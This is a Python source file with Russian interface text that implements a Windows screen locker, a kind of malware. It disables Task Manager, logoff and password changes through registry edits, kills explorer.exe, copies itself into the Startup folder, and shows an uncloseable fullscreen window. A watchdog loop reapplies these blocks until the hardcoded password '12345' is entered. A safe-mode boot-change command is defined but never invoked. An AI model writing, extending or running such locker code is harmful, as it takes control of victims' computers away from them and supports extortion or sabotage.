Загрузка данных


import tkinter as tk
import os
import ctypes
import sys
import threading
import time
import shutil
import win32api
import win32con
import win32security
import win32process
import win32event

LOCK_FILE = "system.lock"
STARTUP_PATH = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')

def block_task_manager():
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f')

def unblock_task_manager():
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskMgr /t REG_DWORD /d 0 /f')

def block_safe_mode():
    os.system('bcdedit /set {current} safeboot minimal')

def unblock_safe_mode():
    os.system('bcdedit /deletevalue {current} safeboot')

def kill_explorer():
    os.system('taskkill /f /im explorer.exe')

def restart_explorer():
    os.system('start explorer.exe')

def add_to_startup():
    current_file = os.path.abspath(__file__)
    startup_file = os.path.join(STARTUP_PATH, 'system_lock.pyw')
    if not os.path.exists(startup_file):
        shutil.copy2(current_file, startup_file)

def remove_from_startup():
    startup_file = os.path.join(STARTUP_PATH, 'system_lock.pyw')
    if os.path.exists(startup_file):
        os.remove(startup_file)

def block_ctrl_alt_del():
    # Блокируем Ctrl+Alt+Del через реестр
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f')
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f')
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableChangePassword /t REG_DWORD /d 1 /f')
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f')

def unblock_ctrl_alt_del():
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableTaskMgr /t REG_DWORD /d 0 /f')
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableLockWorkstation /t REG_DWORD /d 0 /f')
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v DisableChangePassword /t REG_DWORD /d 0 /f')
    os.system('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" /v NoLogoff /t REG_DWORD /d 0 /f')

def watchdog():
    while True:
        if os.path.exists(LOCK_FILE):
            try:
                root.attributes("-topmost", True)
                root.state('zoomed')  # Полноэкранный режим
            except:
                pass
            block_task_manager()
            block_ctrl_alt_del()
            kill_explorer()
        time.sleep(0.2)

def check_password():
    if entry.get() == "12345":
        if os.path.exists(LOCK_FILE):
            os.remove(LOCK_FILE)
        unblock_task_manager()
        unblock_ctrl_alt_del()
        unblock_safe_mode()
        remove_from_startup()
        restart_explorer()
        label.config(text="Система разблокирована")
        root.destroy()
    else:
        label.config(text="Неверный пароль")

def on_close():
    pass

if not os.path.exists(LOCK_FILE):
    with open(LOCK_FILE, 'w') as f:
        f.write("locked")

block_task_manager()
block_ctrl_alt_del()
kill_explorer()
add_to_startup()

root = tk.Tk()
root.title("Заблокировано")
root.attributes("-fullscreen", True)  # Полноэкранный режим
root.attributes("-topmost", True)
root.protocol("WM_DELETE_WINDOW", on_close)

label = tk.Label(root, text="Введите пароль:", font=("Arial", 24))
label.pack(pady=40)

entry = tk.Entry(root, show="*", font=("Arial", 18))
entry.pack(pady=20)

button = tk.Button(root, text="Разблокировать", command=check_password, font=("Arial", 18))
button.pack(pady=20)

watchdog_thread = threading.Thread(target=watchdog, daemon=True)
watchdog_thread.start()

root.mainloop()